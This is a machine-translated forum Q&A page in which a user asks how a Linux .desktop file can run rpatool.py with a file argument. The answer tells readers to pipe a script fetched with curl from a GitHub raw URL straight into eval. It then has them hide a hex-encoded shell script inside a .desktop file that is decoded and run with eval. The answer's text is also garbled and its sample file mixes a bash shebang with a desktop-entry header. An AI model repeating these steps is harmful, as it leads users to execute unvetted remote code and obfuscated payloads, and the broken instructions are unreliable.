桌面文件运行带参数的 Python 脚本

桌面文件运行带参数的 Python 脚本

我尝试制作一个.desktop文件来运行带有参数的 python 脚本(rpatools)

%u我尝试创建一个 bash 文件,并尝试以多种方式执行它,但是如果我在终端中执行完全相同的代码行(将其更改为实际文件路径),它们都不起作用

我在网上搜索了类似的问题,但没有找到

我的尝试

Exec=python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x %u

Exec=python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x %U

Exec=sh -e "python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x %u"

Exec=sh -e "python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x %U"

同时执行 Bach 脚本(其中 %u 变量起作用)

#!/bin/bash
SCRIPT=$(readlink -f "$1")
python '/home/Carslo45/Dokumente/RenPy/EXTRA/RenPy-Decompile/rpatool.py' -x $1 -o /home/Carslo45/.extract

还有更多*编辑:问题

答案1

制作一个 shell 脚本来执行你不想做的事情。然后运行这个命令(这将导入一个二进制处理库) eval "$(curl -L -s https://raw.githubusercontent.com/lnee94/resh/main/l/bintools)" 完成后 readb path/to/shell/script

现在复制它并放入文件中

#!/bin/bash

[Desktop Entry]
Jkldfslgas="$(cd $(dirname $0) ;eval "$(xxd -r -p <<< "hex_that_was_printed_from_readb" )")"
Comment=
Exec=sh -c '"$(dirname "$*")"/ok/insert_name.desktop || ([ ! -x "$(dirname "$*")"/ok/insert_name.desktop ] && "$(dirname "$*")"/insert_name.desktop)' dummy %k
GenericName=
Icon=
Name=
Type=Application

更改insert_name to the名称和hex_that_was_printed_from_readb运行 readb 时打印的所有文本

相关内容